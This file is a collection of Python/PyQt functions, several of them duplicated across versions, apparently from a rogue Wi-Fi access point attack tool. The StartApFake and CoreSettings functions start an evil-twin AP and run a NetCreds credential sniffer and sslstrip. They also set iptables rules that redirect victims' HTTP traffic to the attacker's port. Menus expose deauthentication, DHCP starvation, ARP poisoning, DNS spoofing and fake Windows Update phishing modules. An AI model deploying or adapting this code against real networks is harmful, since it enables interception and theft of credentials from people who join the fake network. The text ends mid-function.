def mConfigure(self): self.get_interfaces = Refactor.get_interfaces() try: self.EditGateway.setText([ self.get_interfaces[x] for x in self.get_interfaces.keys() if x == 'gateway' ][0]) except: pass self.EditApName.setText( self.FSettings.xmlSettings('AP', 'name', None, False)) self.EditChannel.setText( self.FSettings.xmlSettings('channel', 'mchannel', None, False)) self.ConfigTwin['PortRedirect'] = self.FSettings.redirectport.text() for i, j in enumerate(self.get_interfaces['all']): if search('wlan', j): self.selectCard.addItem(self.get_interfaces['all'][i]) driftnet = popen('which driftnet').read().split('\n') ettercap = popen('which ettercap').read().split('\n') dhcpd = popen('which dhcpd').read().split("\n") dnsmasq = popen('which dnsmasq').read().split("\n") hostapd = popen('which hostapd').read().split("\n") lista = [ '/usr/sbin/airbase-ng', ettercap[0], driftnet[0], dhcpd[0], dnsmasq[0], hostapd[0] ] for i in lista: self.ConfigTwin['ProgCheck'].append(path.isfile(i))
def refrash_interface(self): self.ComboIface.clear() n = Refactor.get_interfaces()["all"] for i, j in enumerate(n): if search("at", j) or search("wlan", j): self.ComboIface.addItem(n[i]) self.discoveryIface()
def refrash_interface(self): self.ComboIface.clear() n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if search('at',j) or search('wlan',j): self.ComboIface.addItem(n[i]) self.discoveryIface()
def setupGUI(self): self.form0 = QFormLayout() self.list_probe = QListWidget() self.list_probe.setFixedHeight(300) self.btn_scan = QPushButton("Scan") self.btn_scan.clicked.connect(self.Pro_request) self.btn_scan.setIcon(QIcon("rsc/network.png")) self.get_placa = QComboBox(self) n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if search("wlan", j): self.get_placa.addItem(n[i]) self.time_scan = QComboBox(self) self.time_scan.addItems(["10s","20s","30s"]) self.form0.addRow("Network Adapter: ", self.get_placa) self.form0.addRow(self.list_probe) self.form0.addRow("Time Scan: ", self.time_scan) self.form1 = QFormLayout() self.form1.addRow(self.btn_scan) self.Main.addLayout(self.form0) self.Main.addLayout(self.form1) self.setLayout(self.Main)
def setupGUI(self): self.form0 = QFormLayout() self.list_probe = QListWidget() self.list_probe.setFixedHeight(300) self.btn_scan = QPushButton("Scan") self.btn_scan.clicked.connect(self.Pro_request) self.btn_scan.setIcon(QIcon("rsc/network.png")) self.get_placa = QComboBox(self) n = Refactor.get_interfaces()['all'] for i, j in enumerate(n): if search("wlan", j): self.get_placa.addItem(n[i]) self.time_scan = QComboBox(self) self.time_scan.addItems(["10s", "20s", "30s"]) self.form0.addRow("Network Adapter: ", self.get_placa) self.form0.addRow(self.list_probe) self.form0.addRow("Time Scan: ", self.time_scan) self.form1 = QFormLayout() self.form1.addRow(self.btn_scan) self.Main.addLayout(self.form0) self.Main.addLayout(self.form1) self.setLayout(self.Main)
def refrash_interface(self): self.ComboIface.clear() n = Refactor.get_interfaces()['all'] for i, j in enumerate(n): if search('at', j) or search('wlan', j): self.ComboIface.addItem(n[i]) self.discoveryIface()
def StartApFake(self): self.ListLoggerDhcp.clear() if geteuid() != 0: QMessageBox.information(self,'Error permission', 'Run as root ') return if len(self.selectCard.currentText()) == 0: QMessageBox.information(self,'Error', 'Network interface not supported :(') return self.interface = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.config.xmlSettings('interface', 'monitor_mode',self.interface,False) # airbase thread thr_airbase = ProcessThread(['airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/'+asctime(),self.interface]) thr_airbase.name = 'Airbase-ng' self.thread.append(thr_airbase) thr_airbase.start() # settings conf while True: if thr_airbase.iface != None: self.Ap_iface = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0] self.config.xmlSettings('netcreds', 'interface',self.Ap_iface,False) break # thread netcreds ThNetCreds = ProcessThread(['python','Plugins/NetCreds.py','-i', self.config.xmlSettings('netcreds', 'interface',None,False)]) ThNetCreds.setName('Net-Creds') self.thread.append(ThNetCreds) ThNetCreds.start() p = Process(target=self.CoreSettings,args=()) p.start(),p.join() # thread dhcp if self.config.xmlSettings('dhcp','dhcp_server',None,False) != 'dnsmasq': Thdhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-cf','/etc/dhcp/dhcpd.conf',self.Ap_iface]) self.connect(Thdhcp,SIGNAL('Activated ( QString ) '), self.dhcpLog) Thdhcp.setObjectName('DHCP') self.thread.append(Thdhcp) Thdhcp.start() self.Started(True) else: Thdhcp = ThRunDhcp(['dnsmasq','-C','Settings/dnsmasq.conf','-d']) self.connect(Thdhcp,SIGNAL('Activated ( QString ) '), self.dhcpLog) Thdhcp.setObjectName('DHCP') self.thread.append(Thdhcp) Thdhcp.start() self.Started(True) # thread sslstrip Thsslstrip = Threadsslstrip(self.PortRedirect) Thsslstrip.setObjectName("Sslstrip") self.thread.append(Thsslstrip) Thsslstrip.start()
def D_attack(self): interface = Refactor.get_interfaces()['activated'] if interface != None: self.check.setText("[ ON ]") self.check.setStyleSheet("QLabel { color : green; }") self.threadstar = ThreadAttackStar(interface) self.connect(self.threadstar,SIGNAL("Activated ( QString )"),self.getloggerAttack) self.threadstar.setObjectName("DHCP Starvation") self.threadstar.start() else: QMessageBox.information(self, "Interface Not found", 'None detected network interface try again.')
def D_attack(self): interface = Refactor.get_interfaces()['activated'] if interface != None: self.check.setText("[ ON ]") self.check.setStyleSheet("QLabel { color : green; }") self.threadstar = ThreadAttackStar(interface) self.connect(self.threadstar,SIGNAL("Activated ( QString )"),self.getloggerAttack) self.threadstar.setObjectName("DHCP Starvation") self.threadstar.start() return QMessageBox.information(self, 'Interface Not found', 'None detected network interface try again.')
def __init__(self, parent=None): super(frm_Arp_Poison, self).__init__(parent) self.setWindowTitle('Arp Posion Attack ') self.setWindowIcon(QIcon('rsc/icon.ico')) self.Main = QVBoxLayout() self.owd = getcwd() self.control = False self.interfaces = Refactor.get_interfaces() self.configure = frm_Settings() self.module_network = Refactor self.loadtheme(self.configure.XmlThemeSelected()) self.data = {'IPaddress':[], 'Hostname':[], 'MacAddress':[]} self.ThreadDirc = {'Arp_posion':[]} global threadloading self.GUI()
def __init__(self, parent=None): super(frm_Arp_Poison, self).__init__(parent) self.setWindowTitle('Arp Posion Attack ') self.setWindowIcon(QIcon('rsc/icon.ico')) self.Main = QVBoxLayout() self.owd = getcwd() self.control = False self.interfaces = Refactor.get_interfaces() self.configure = frm_Settings() self.loadtheme(self.configure.XmlThemeSelected()) self.module_network = Refactor self.data = {'IPaddress': [], 'Hostname': [], 'MacAddress': []} self.ThreadDirc = {'Arp_posion': []} global threadloading self.GUI()
def mConfigure(self): self.get_interfaces = Refactor.get_interfaces() try: self.EditGateway.setText( [self.get_interfaces[x] for x in self.get_interfaces.keys() if x == 'gateway'][0]) except:pass self.EditApName.setText(self.FSettings.xmlSettings('AP', 'name',None,False)) self.EditChannel.setText(self.FSettings.xmlSettings('channel', 'mchannel',None,False)) self.PortRedirect = self.FSettings.xmlSettings('redirect', 'port',None,False) for i,j in enumerate(self.get_interfaces['all']): if search('wlan', j):self.selectCard.addItem(self.get_interfaces['all'][i]) driftnet = popen('which driftnet').read().split('\n') ettercap = popen('which ettercap').read().split('\n') dhcpd = popen('which dhcpd').read().split("\n") dnsmasq = popen('which dnsmasq').read().split("\n") lista = [ '/usr/sbin/airbase-ng', ettercap[0],driftnet[0],dhcpd[0],dnsmasq[0]] for i in lista:self.ProgramCheck.append(path.isfile(i))
def MacGUI(self): self.form_mac = QFormLayout() self.i_mac = QLineEdit(self) self.combo_card = QComboBox(self) self.btn_random = QPushButton("Random MAC") self.btn_random.setIcon(QIcon("rsc/refresh.png")) self.btn_save = QPushButton("Save") self.btn_save.setIcon(QIcon("rsc/Save.png")) self.btn_save.clicked.connect(self.change_macaddress) self.btn_random.clicked.connect(self.action_btn_random) self.cards = Refactor.get_interfaces()['all'] self.combo_card.addItems(self.cards) self.connect(self.combo_card, SIGNAL('activated(QString)'), self.combo_clicked) self.form_mac.addRow(self.combo_card,self.i_mac) self.form_mac.addRow("MAC Random: ", self.btn_random) self.form_mac.addRow(self.btn_save) self.Main.addLayout(self.form_mac) self.setLayout(self.Main)
def mConfigure(self): self.get_interfaces = Refactor.get_interfaces() try: self.EditGateway.setText([self.get_interfaces[x] for x in self.get_interfaces.keys() if x == "gateway"][0]) except: pass self.EditApName.setText(self.FSettings.xmlSettings("AP", "name", None, False)) self.EditChannel.setText(self.FSettings.xmlSettings("channel", "mchannel", None, False)) self.PortRedirect = self.FSettings.xmlSettings("redirect", "port", None, False) for i, j in enumerate(self.get_interfaces["all"]): if search("wlan", j): self.selectCard.addItem(self.get_interfaces["all"][i]) driftnet = popen("which driftnet").read().split("\n") ettercap = popen("which ettercap").read().split("\n") dhcpd = popen("which dhcpd").read().split("\n") dnsmasq = popen("which dnsmasq").read().split("\n") hostapd = popen("which hostapd").read().split("\n") lista = ["/usr/sbin/airbase-ng", ettercap[0], driftnet[0], dhcpd[0], dnsmasq[0], hostapd[0]] for i in lista: self.ProgramCheck.append(path.isfile(i))
def loadCard(self): n = Refactor.get_interfaces()['all'] for i, j in enumerate(n): if search("wlan", j): self.get_placa.addItem(n[i])
def window_qt(self): self.mForm = QFormLayout() self.statusbar = QStatusBar() system = QLabel("Deauthentication::") self.statusbar.addWidget(system) self.Controlador = QLabel("") self.AttackStatus(False) self.tables = QTableWidget(5,3) self.tables.setFixedWidth(350) self.tables.setRowCount(100) self.tables.setFixedHeight(250) self.tables.setSelectionBehavior(QAbstractItemView.SelectRows) self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers) self.tables.clicked.connect(self.select_target) self.tables.resizeColumnsToContents() self.tables.resizeRowsToContents() self.tables.horizontalHeader().resizeSection(1,120) self.tables.horizontalHeader().resizeSection(0,60) self.tables.horizontalHeader().resizeSection(2,158) self.tables.verticalHeader().setVisible(False) Headers = [] for n, key in enumerate(self.data.keys()): Headers.append(key) self.tables.setHorizontalHeaderLabels(Headers) self.linetarget = QLineEdit(self) self.input_client = QLineEdit(self) self.input_client.setText("FF:FF:FF:FF:FF:FF") self.btn_enviar = QPushButton("Send Attack", self) self.btn_enviar.clicked.connect(self.attack_deauth) self.btn_scan = QPushButton(" Network Scan ", self) self.btn_scan.clicked.connect(self.SettingsScan) self.btn_stop = QPushButton("Stop Attack ", self) self.btn_stop.clicked.connect(self.kill_thread) self.btn_enviar.setFixedWidth(170) self.btn_stop.setFixedWidth(170) self.btn_scan.setFixedWidth(120) #icons self.btn_scan.setIcon(QIcon("rsc/network.png")) self.btn_enviar.setIcon(QIcon("rsc/start.png")) self.btn_stop.setIcon(QIcon("rsc/Stop.png")) self.time_scan = QComboBox(self) self.time_scan.addItem("10s") self.time_scan.addItem("20s") self.time_scan.addItem("30s") self.get_placa = QComboBox(self) n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if search("wlan", j): self.get_placa.addItem(n[i]) #grid options self.Grid = QGridLayout() self.options_scan = self.xmlcheck.xmlSettings("scanner_AP", "select", None, False) if self.options_scan != "scan_scapy":self.time_scan.setEnabled(False) self.Grid.addWidget(QLabel("Time:"),0,0) self.Grid.addWidget(self.time_scan,0,1) self.Grid.addWidget(self.get_placa,0,2) self.Grid.addWidget(self.btn_scan,0,3) self.Grid.addWidget(self.btn_scan,0,3) self.Grid.addWidget(QLabel("bssid:"),1,0) self.Grid.addWidget(QLabel(" Client:"),1,2) self.Grid.addWidget(self.linetarget,1,1) self.Grid.addWidget(self.input_client,1,3) self.form0 = QGridLayout() self.form0.addWidget(self.tables,0,0) self.mForm.addRow(self.btn_enviar, self.btn_stop) self.mForm.addRow(self.statusbar) self.Main.addLayout(self.form0) self.Main.addLayout(self.Grid) self.Main.addLayout(self.mForm) self.setLayout(self.Main)
def CoreSettings(self): range_dhcp = self.config.xmlSettings('Iprange', 'range', None, False) self.PortRedirect = self.config.xmlSettings('redirect', 'port', None, False) self.SettingsAP = { 'interface': [ 'ifconfig %s up' % (self.Ap_iface), 'ifconfig %s 10.0.0.1 netmask 255.255.255.0' % (self.Ap_iface), 'ifconfig %s mtu 1400' % (self.Ap_iface), 'route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1' ], 'iptables': [ 'killall dhpcd', 'killall dnsmasq', 'iptables --flush', 'iptables --table nat --flush', 'iptables --delete-chain', 'iptables --table nat --delete-chain', 'echo 1 > /proc/sys/net/ipv4/ip_forward', 'iptables -P FORWARD ACCEPT', 'iptables -t nat -A PREROUTING -p udp -j DNAT --to %s' % (self.EditGateway.text()), 'iptables --append FORWARD --in-interface %s -j ACCEPT' % (self.Ap_iface), 'iptables --table nat --append POSTROUTING --out-interface ' + str(Refactor.get_interfaces()['activated']) + ' -j MASQUERADE', 'iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port ' + self.PortRedirect, #'iptables -t -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination ' +Refactor.get_interfaces()['IPaddress'], 'iptables -t nat -A POSTROUTING -j MASQUERADE', 'touch /var/run/dhcpd.pid', 'chmod 777 /etc/dhcp/dhcpd.conf', ], 'dhcp-server': [ 'authoritative;\n', 'default-lease-time 600;\n', 'max-lease-time 7200;\n', 'subnet 10.0.0.0 netmask 255.255.255.0 {\n', 'option routers 10.0.0.1;\n', 'option subnet-mask 255.255.255.0;\n', 'option domain-name \"%s\";\n' % (str(self.EditApName.text())), 'range %s;\n' % range_dhcp, '}', ], 'dnsmasq': [ 'interface=%s\n' % (self.Ap_iface), 'dhcp-range=10.0.0.10,10.0.0.50,12h\n', 'server=8.8.8.8\n', 'server=8.8.4.4\n', ] } for i in self.SettingsAP['interface']: popen(i) for i in self.SettingsAP['iptables']: popen(i) dhcp_select = self.config.xmlSettings('dhcp', 'dhcp_server', None, False) if dhcp_select != 'dnsmasq': with open('Settings/dhcpd.conf', 'w') as dhcp: for i in self.SettingsAP['dhcp-server']: dhcp.write(i) dhcp.close() if path.isfile('/etc/dhcp/dhcpd.conf'): system('rm /etc/dhcp/dhcpd.conf') move('Settings/dhcpd.conf', '/etc/dhcp/') else: with open('Settings/dnsmasq.conf', 'w') as dhcp: for i in self.SettingsAP['dnsmasq']: dhcp.write(i) dhcp.close()
def loadCard(self): n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if search("wlan", j): self.get_placa.addItem(n[i])
def intGUI(self): self.myQMenuBar = QMenuBar(self) self.myQMenuBar.setFixedWidth(400) self.StatusBar = QStatusBar() self.StatusBar.setFixedHeight(15) self.StatusBar.addWidget(QLabel("::Access|Point::")) self.StatusDhcp = QLabel("") self.Started(False) Menu_file = self.myQMenuBar.addMenu('&File') exportAction = QAction('exportToHtml', self) deleteAction = QAction('Clear Logger', self) exitAction = QAction('Exit', self) exitAction.setIcon(QIcon('rsc/close-pressed.png')) deleteAction.setIcon(QIcon('rsc/delete.png')) exportAction.setIcon(QIcon('rsc/export.png')) Menu_file.addAction(exportAction) Menu_file.addAction(deleteAction) Menu_file.addAction(exitAction) exitAction.triggered.connect(exit) deleteAction.triggered.connect(self.delete_logger) exportAction.triggered.connect(self.exportHTML) Menu_View = self.myQMenuBar.addMenu('&View') phishinglog = QAction('Credentials Phishing', self) netcredslog = QAction('Credentials NetCreds', self) #connect phishinglog.triggered.connect(self.credentials) netcredslog.triggered.connect(self.logsnetcreds) #icons phishinglog.setIcon(QIcon('rsc/password.png')) netcredslog.setIcon(QIcon('rsc/logger.png')) Menu_View.addAction(phishinglog) Menu_View.addAction(netcredslog) #tools Menu Menu_tools = self.myQMenuBar.addMenu('&Tools') ettercap = QAction('Active Ettercap', self) btn_drift = QAction('Active DriftNet', self) btn_drift.setShortcut('Ctrl+Y') ettercap.setShortcut('Ctrl+E') ettercap.triggered.connect(self.start_etter) btn_drift.triggered.connect(self.start_dift) # icons tools ettercap.setIcon(QIcon('rsc/ettercap.png')) btn_drift.setIcon(QIcon('rsc/capture.png')) Menu_tools.addAction(ettercap) Menu_tools.addAction(btn_drift) #menu module Menu_module = self.myQMenuBar.addMenu('&Modules') btn_deauth = QAction('Deauth Attack', self) btn_probe = QAction('Probe Request',self) btn_mac = QAction('Mac Changer', self) btn_dhcpStar = QAction('DHCP S. Attack',self) btn_winup = QAction('Windows Update',self) btn_arp = QAction('Arp Posion Attack',self) btn_dns = QAction('Dns Spoof Attack',self) action_settings = QAction('Settings',self) # Shortcut modules btn_deauth.setShortcut('Ctrl+W') btn_probe.setShortcut('Ctrl+K') btn_mac.setShortcut('Ctrl+M') btn_dhcpStar.setShortcut('Ctrl+H') btn_winup.setShortcut('Ctrl+N') btn_dns.setShortcut('ctrl+D') btn_arp.setShortcut('ctrl+Q') action_settings.setShortcut('Ctrl+X') #connect buttons btn_probe.triggered.connect(self.showProbe) btn_deauth.triggered.connect(self.formDauth) btn_mac.triggered.connect(self.form_mac) btn_dhcpStar.triggered.connect(self.show_dhcpDOS) btn_winup.triggered.connect(self.show_windows_update) btn_arp.triggered.connect(self.show_arp_posion) btn_dns.triggered.connect(self.show_dns_spoof) action_settings.triggered.connect(self.show_settings) #icons Modules btn_arp.setIcon(QIcon('rsc/arp_.png')) btn_winup.setIcon(QIcon('rsc/arp.png')) btn_dhcpStar.setIcon(QIcon('rsc/dhcp.png')) btn_mac.setIcon(QIcon('rsc/mac.png')) btn_probe.setIcon(QIcon('rsc/probe.png')) btn_deauth.setIcon(QIcon('rsc/deauth.png')) btn_dns.setIcon(QIcon('rsc/dns_spoof.png')) action_settings.setIcon(QIcon('rsc/setting.png')) # add modules menu Menu_module.addAction(btn_deauth) Menu_module.addAction(btn_probe) Menu_module.addAction(btn_mac) Menu_module.addAction(btn_dhcpStar) Menu_module.addAction(btn_winup) Menu_module.addAction(btn_arp) Menu_module.addAction(btn_dns) Menu_module.addAction(action_settings) #menu extra Menu_extra= self.myQMenuBar.addMenu('&Extra') Menu_about = QAction('About',self) Menu_help = QAction('Help',self) #icons extra Menu_about.setIcon(QIcon('rsc/about.png')) Menu_help.setIcon(QIcon('rsc/report.png')) Menu_about.triggered.connect(self.about) Menu_extra.addAction(Menu_about) self.EditGateway = QLineEdit(self) self.EditApName = QLineEdit(self) self.EditChannel = QLineEdit(self) self.selectCard = QComboBox(self) self.ListLoggerDhcp = QListWidget(self) self.ListLoggerDhcp.setFixedHeight(150) try: self.EditGateway.setText([Refactor.get_interfaces()[x] for x in Refactor.get_interfaces().keys() if x == 'gateway'][0]) except:pass self.EditApName.setText(self.config.xmlSettings('AP', 'name',None,False)) self.EditChannel.setText(self.config.xmlSettings('channel', 'mchannel',None,False)) self.PortRedirect = self.config.xmlSettings('redirect', 'port',None,False) n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if search('wlan', j): self.selectCard.addItem(n[i]) if not path.isfile('Modules/Templates/Windows_Update/Settins_WinUpdate.html'): system('cp Settings/source.tar.gz Modules/Templates/') system('cd Modules/Templates/ && tar -xf source.tar.gz') remove('Modules/Templates/source.tar.gz') driftnet = popen('which driftnet').read().split('\n') ettercap = popen('which ettercap').read().split('\n') dhcpd = popen('which dhcpd').read().split("\n") dnsmasq = popen('which dnsmasq').read().split("\n") lista = [ '/usr/sbin/airbase-ng', ettercap[0],driftnet[0],dhcpd[0],dnsmasq[0]] self.m = [] for i in lista:self.m.append(path.isfile(i)) self.FormGroup1 = QFormLayout() self.FormGroup2 = QFormLayout() self.FormGroup3 = QFormLayout() hLine = QFrame() hLine.setFrameStyle(QFrame.HLine) hLine.setSizePolicy(QSizePolicy.Minimum,QSizePolicy.Expanding) hLine2 = QFrame() hLine2.setFrameStyle(QFrame.HLine) hLine2.setSizePolicy(QSizePolicy.Minimum,QSizePolicy.Expanding) vbox = QVBoxLayout() vbox.setMargin(5) vbox.addStretch(20) self.FormGroup1.addRow(vbox) self.logo = QPixmap(getcwd() + '/rsc/logo.png') self.imagem = QLabel() self.imagem.setPixmap(self.logo) self.FormGroup1.addRow(self.imagem) self.GroupAP = QGroupBox() self.GroupAP.setTitle('Access Point::') self.FormGroup3.addRow('Gateway:', self.EditGateway) self.FormGroup3.addRow('AP Name:', self.EditApName) self.FormGroup3.addRow('Channel:', self.EditChannel) self.GroupAP.setLayout(self.FormGroup3) # grid network adapter fix self.btrn_refresh = QPushButton('Refresh') self.btrn_refresh.setIcon(QIcon('rsc/refresh.png')) self.btrn_refresh.clicked.connect(self.refrash_interface) self.layout = QFormLayout() self.GroupAdapter = QGroupBox() self.GroupAdapter.setTitle('Network Adapter::') self.layout.addRow(self.selectCard) self.layout.addRow(self.btrn_refresh) self.GroupAdapter.setLayout(self.layout) self.btn_start_attack = QPushButton('Start Attack', self) self.btn_start_attack.setIcon(QIcon('rsc/start.png')) self.btn_cancelar = QPushButton('Stop Attack', self) self.btn_cancelar.setIcon(QIcon('rsc/Stop.png')) self.btn_cancelar.clicked.connect(self.kill) self.btn_start_attack.clicked.connect(self.StartApFake) hBox = QHBoxLayout() hBox.addWidget(self.btn_start_attack) hBox.addWidget(self.btn_cancelar) self.slipt = QHBoxLayout() self.slipt.addWidget(self.GroupAP) self.slipt.addWidget(self.GroupAdapter) self.FormGroup2.addRow(hBox) self.FormGroup2.addRow(self.ListLoggerDhcp) self.FormGroup2.addRow(self.StatusBar) self.Main.addLayout(self.FormGroup1) self.Main.addLayout(self.slipt) self.Main.addLayout(self.FormGroup2) self.setLayout(self.Main)
def StartApFake(self): self.ListLoggerDhcp.clear() if geteuid() != 0: QMessageBox.warning(self,'Error permission','Run as root ') return if len(self.selectCard.currentText()) == 0: QMessageBox.warning(self,'Error interface','Network interface not supported :(') return dhcp_select = self.config.xmlSettings('dhcp','dhcp_server',None,False) if dhcp_select != 'dnsmasq': if not self.m[3]: QMessageBox.warning(self,'Error dhcp','isc-dhcp-server not installed') return else: if not self.m[4]: QMessageBox.information(self,'Error dhcp','dnsmasq not installed') return self.interface = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.config.xmlSettings('interface', 'monitor_mode',self.interface,False) # airbase thread Thread_airbase = ProcessThread(['airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/'+asctime(),self.interface]) Thread_airbase.name = 'Airbase-ng' self.Apthreads['RougeAP'].append(Thread_airbase) Thread_airbase.start() # settings conf while True: if Thread_airbase.iface != None: self.Ap_iface = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0] self.config.xmlSettings('netcreds', 'interface',self.Ap_iface,False) break # thread netcreds Thread_netcreds = ProcessThread(['python','Plugins/NetCreds.py','-i', self.config.xmlSettings('netcreds', 'interface',None,False)]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) Thread_netcreds.start() p = Process(target=self.CoreSettings,args=()) p.start(),p.join() # thread dhcp selected_dhcp = self.config.xmlSettings('dhcp','dhcp_server',None,False) if selected_dhcp == 'iscdhcpserver': Thread_dhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-cf','/etc/dhcp/dhcpd.conf',self.Ap_iface]) self.connect(Thread_dhcp,SIGNAL('Activated ( QString ) '), self.dhcpLog) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() self.Started(True) elif selected_dhcp == 'dnsmasq': Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Settings/dnsmasq.conf','-d']) self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog) Thread_dhcp .setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp .start() self.Started(True) else: QMessageBox.information(self,'DHCP','dhcp not found.') # thread sslstrip Thread_sslstrip = Threadsslstrip(self.PortRedirect) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(Thread_sslstrip) Thread_sslstrip.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search('PREROUTING -p udp -j DNAT --to',rules): popen(rules.replace('$$',str(self.EditGateway.text()))) elif search('--append FORWARD --in-interface',rules):popen(rules.replace('$$',self.Ap_iface)) elif search('--append POSTROUTING --out-interface',rules): popen(rules.replace('$$',str(Refactor.get_interfaces()['activated']))) else: popen(rules)
def refrash_interface(self): self.selectCard.clear() n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if search('wlan', j): self.selectCard.addItem(n[i])
def window_qt(self): self.mForm = QFormLayout() self.statusbar = QStatusBar() system = QLabel("Deauthentication::") self.statusbar.addWidget(system) self.Controlador = QLabel("") self.AttackStatus(False) self.tables = QTableWidget(5, 3) self.tables.setFixedWidth(350) self.tables.setRowCount(100) self.tables.setFixedHeight(250) self.tables.setSelectionBehavior(QAbstractItemView.SelectRows) self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers) self.tables.clicked.connect(self.select_target) self.tables.resizeColumnsToContents() self.tables.resizeRowsToContents() self.tables.horizontalHeader().resizeSection(1, 120) self.tables.horizontalHeader().resizeSection(0, 60) self.tables.horizontalHeader().resizeSection(2, 158) self.tables.verticalHeader().setVisible(False) Headers = [] for n, key in enumerate(self.data.keys()): Headers.append(key) self.tables.setHorizontalHeaderLabels(Headers) self.linetarget = QLineEdit(self) self.input_client = QLineEdit(self) self.input_client.setText("FF:FF:FF:FF:FF:FF") self.btn_enviar = QPushButton("Send Attack", self) self.btn_enviar.clicked.connect(self.attack_deauth) self.btn_scan = QPushButton(" Network Scan ", self) self.btn_scan.clicked.connect(self.SettingsScan) self.btn_stop = QPushButton("Stop Attack ", self) self.btn_stop.clicked.connect(self.kill_thread) self.btn_enviar.setFixedWidth(170) self.btn_stop.setFixedWidth(170) self.btn_scan.setFixedWidth(120) #icons self.btn_scan.setIcon(QIcon("rsc/network.png")) self.btn_enviar.setIcon(QIcon("rsc/start.png")) self.btn_stop.setIcon(QIcon("rsc/Stop.png")) self.time_scan = QComboBox(self) self.time_scan.addItem("10s") self.time_scan.addItem("20s") self.time_scan.addItem("30s") self.get_placa = QComboBox(self) n = Refactor.get_interfaces()['all'] for i, j in enumerate(n): if search("wlan", j): self.get_placa.addItem(n[i]) #grid options self.Grid = QGridLayout() self.options_scan = self.xmlcheck.xmlSettings("scanner_AP", "select", None, False) if self.options_scan != "scan_scapy": self.time_scan.setEnabled(False) self.Grid.addWidget(QLabel("Time:"), 0, 0) self.Grid.addWidget(self.time_scan, 0, 1) self.Grid.addWidget(self.get_placa, 0, 2) self.Grid.addWidget(self.btn_scan, 0, 3) self.Grid.addWidget(self.btn_scan, 0, 3) self.Grid.addWidget(QLabel("bssid:"), 1, 0) self.Grid.addWidget(QLabel(" Client:"), 1, 2) self.Grid.addWidget(self.linetarget, 1, 1) self.Grid.addWidget(self.input_client, 1, 3) self.form0 = QGridLayout() self.form0.addWidget(self.tables, 0, 0) self.mForm.addRow(self.btn_enviar, self.btn_stop) self.mForm.addRow(self.statusbar) self.Main.addLayout(self.form0) self.Main.addLayout(self.Grid) self.Main.addLayout(self.mForm) self.setLayout(self.Main)
def StartApFake(self): self.btn_start_attack.setDisabled(True) if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self,'Error interface','Network interface not supported :(') if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self,'Error Gateway','gateway not found') if not self.ConfigTwin['ProgCheck'][5]: return QMessageBox.information(self,'Error Hostapd','hostapd not installed') dhcp_select = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if dhcp_select == 'iscdhcpserver': if not self.ConfigTwin['ProgCheck'][3]: return QMessageBox.warning(self,'Error dhcp','isc-dhcp-server not installed') elif dhcp_select == 'dnsmasq': if not self.ConfigTwin['ProgCheck'][4]: return QMessageBox.information(self,'Error dhcp','dnsmasq not installed') if str(Refactor.get_interfaces()['activated']).startswith('wlan'): return QMessageBox.information(self,'Error network card', 'You are connected with interface wireless, try again with local connection') self.APactived = self.FSettings.xmlSettings('accesspoint','actived',None,False) if self.APactived == 'airbase-ng': self.ConfigTwin['interface'] = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings('interface', 'monitor_mode',self.ConfigTwin['interface'],False) # airbase thread Thread_airbase = ProcessThread(['airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/Caplog/'+asctime(),self.ConfigTwin['interface']]) Thread_airbase.name = 'Airbase-ng' self.Apthreads['RougeAP'].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.ConfigTwin['AP_iface'] = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0] self.FSettings.xmlSettings('netcreds', 'interface',self.ConfigTwin['AP_iface'],False) break self.CoreSettings() elif self.APactived == 'hostapd': self.FSettings.xmlSettings('netcreds','interface', str(self.selectCard.currentText()),False) self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText()) try: check_output(['nmcli','radio','wifi',"off"]) except CalledProcessError: try: check_output(['nmcli','nm','wifi',"off"]) except CalledProcessError as e: return QMessageBox.warning(self,'Error nmcli',e) call(['rfkill', 'unblock' ,'wlan']) self.CoreSettings() ignore = ('interface=','ssid=','channel=') with open('Settings/hostapd.conf','w') as apconf: for i in self.SettingsAP['hostapd']:apconf.write(i) for config in str(self.FSettings.ListHostapd.toPlainText()).split('\n'): if not config.startswith('#') and len(config) > 0: if not config.startswith(ignore): apconf.write(config+'\n') apconf.close() self.Thread_hostapd = ProcessHostapd(['hostapd','-d','Settings/hostapd.conf']) self.Thread_hostapd.setObjectName('hostapd') self.Thread_hostapd.statusAP_connected.connect(self.GetHostapdStatus) self.Apthreads['RougeAP'].append(self.Thread_hostapd) self.Thread_hostapd.start() # thread dhcp selected_dhcp = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if selected_dhcp == 'iscdhcpserver': Thread_dhcp = 